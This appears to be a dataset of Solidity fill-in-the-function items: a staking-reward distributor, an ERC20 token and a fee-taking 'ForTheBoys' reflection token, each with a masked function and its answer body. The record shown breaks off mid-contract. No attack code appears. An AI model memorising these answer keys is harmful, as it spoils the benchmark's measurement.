contract FRAX3CRV_Curve_FXS_Distributor is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken, uint256 _rewardsDuration ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; rewardsDuration = _rewardsDuration; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } <FILL_FUNCTION> function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) { // handle the transfer of reward tokens via `transferFrom` to reduce the number // of transactions required and ensure correctness of the reward amount rewardsToken.safeTransferFrom(msg.sender, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount);
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender)
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender)
72743
ERC20Token
approve
contract ERC20Token is ERC20TokenInterface { using SafeMath for uint256; // Token account balances. mapping (address => uint256) balances; // Delegated number of tokens to transfer. mapping (address => mapping (address => uint256)) allowed; /** * @dev Checks the balance of a certain address. * * @param _account The address which's balance will be checked. * * @return Returns the balance of the `_account` address. */ function balanceOf(address _account) public constant returns (uint256 balance) { return balances[_account]; } /** * @dev Transfers tokens from one address to another. * * @param _to The target address to which the `_value` number of tokens will be sent. * @param _value The number of tokens to send. * * @return Whether the transfer was successful or not. */ function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] < _value || _value == 0) { return false; } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Send `_value` tokens to `_to` from `_from` if `_from` has approved the process. * * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The number of tokens to be transferred. * * @return Whether the transfer was successful or not. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] < _value || allowed[_from][msg.sender] < _value || _value == 0) { return false; } balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Allows another contract to spend some tokens on your behalf. * * @param _spender The address of the account which will be approved for transfer of tokens. * @param _value The number of tokens to be approved for transfer. * * @return Whether the approval was successful or not. */ function approve(address _spender, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * @dev Shows the number of tokens approved by `_owner` that are allowed to be transferred by `_spender`. * * @param _owner The account which allowed the transfer. * @param _spender The account which will spend the tokens. * * @return The number of tokens to be transferred. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * Don't accept ETH */ function () public payable { revert(); } }
contract ERC20Token is ERC20TokenInterface { using SafeMath for uint256; // Token account balances. mapping (address => uint256) balances; // Delegated number of tokens to transfer. mapping (address => mapping (address => uint256)) allowed; /** * @dev Checks the balance of a certain address. * * @param _account The address which's balance will be checked. * * @return Returns the balance of the `_account` address. */ function balanceOf(address _account) public constant returns (uint256 balance) { return balances[_account]; } /** * @dev Transfers tokens from one address to another. * * @param _to The target address to which the `_value` number of tokens will be sent. * @param _value The number of tokens to send. * * @return Whether the transfer was successful or not. */ function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] < _value || _value == 0) { return false; } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Send `_value` tokens to `_to` from `_from` if `_from` has approved the process. * * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The number of tokens to be transferred. * * @return Whether the transfer was successful or not. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] < _value || allowed[_from][msg.sender] < _value || _value == 0) { return false; } balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> /** * @dev Shows the number of tokens approved by `_owner` that are allowed to be transferred by `_spender`. * * @param _owner The account which allowed the transfer. * @param _spender The account which will spend the tokens. * * @return The number of tokens to be transferred. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * Don't accept ETH */ function () public payable { revert(); } }
allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) public returns (bool success)
/** * @dev Allows another contract to spend some tokens on your behalf. * * @param _spender The address of the account which will be approved for transfer of tokens. * @param _value The number of tokens to be approved for transfer. * * @return Whether the approval was successful or not. */ function approve(address _spender, uint256 _value) public returns (bool success)
47816
ForTheBoys
tokenFromReflection
contract ForTheBoys is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'For The Boys'; string private _symbol = 'FTB'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _teamFee = 15; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _teamWalletAddress; address payable public _marketingWalletAddress; address payable public _buybackWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; bool public _MaxBuyEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; uint256 private _maxBuy = 25000000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress, address payable buybackWalletAddress) public { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _buybackWalletAddress = buybackWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamWalletAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; _isExcludedFromFee[_buybackWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) {<FILL_FUNCTION_BODY> } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(_MaxBuyEnabled){ if(sender == uniswapV2Pair && recipient != owner() && sender != owner()){ require (amount <= _maxBuy); } } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.mul(2).div(8)); _marketingWalletAddress.transfer(amount.mul(4).div(8)); _buybackWalletAddress.transfer(amount.mul(2).div(8)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function setMaxBuyEnabled(bool MaxBuyEnabled) external onlyOwner(){ _MaxBuyEnabled = MaxBuyEnabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setbuybackWallet(address payable buybackWalletAddress) external onlyOwner() { _buybackWalletAddress = buybackWalletAddress; } function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() { _marketingWalletAddress = marketingWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } }
contract ForTheBoys is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'For The Boys'; string private _symbol = 'FTB'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _teamFee = 15; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _teamWalletAddress; address payable public _marketingWalletAddress; address payable public _buybackWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; bool public _MaxBuyEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; uint256 private _maxBuy = 25000000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress, address payable buybackWalletAddress) public { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _buybackWalletAddress = buybackWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamWalletAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; _isExcludedFromFee[_buybackWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } <FILL_FUNCTION> function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(_MaxBuyEnabled){ if(sender == uniswapV2Pair && recipient != owner() && sender != owner()){ require (amount <= _maxBuy); } } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.mul(2).div(8)); _marketingWalletAddress.transfer(amount.mul(4).div(8)); _buybackWalletAddress.transfer(amount.mul(2).div(8)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function setMaxBuyEnabled(bool MaxBuyEnabled) external onlyOwner(){ _MaxBuyEnabled = MaxBuyEnabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = 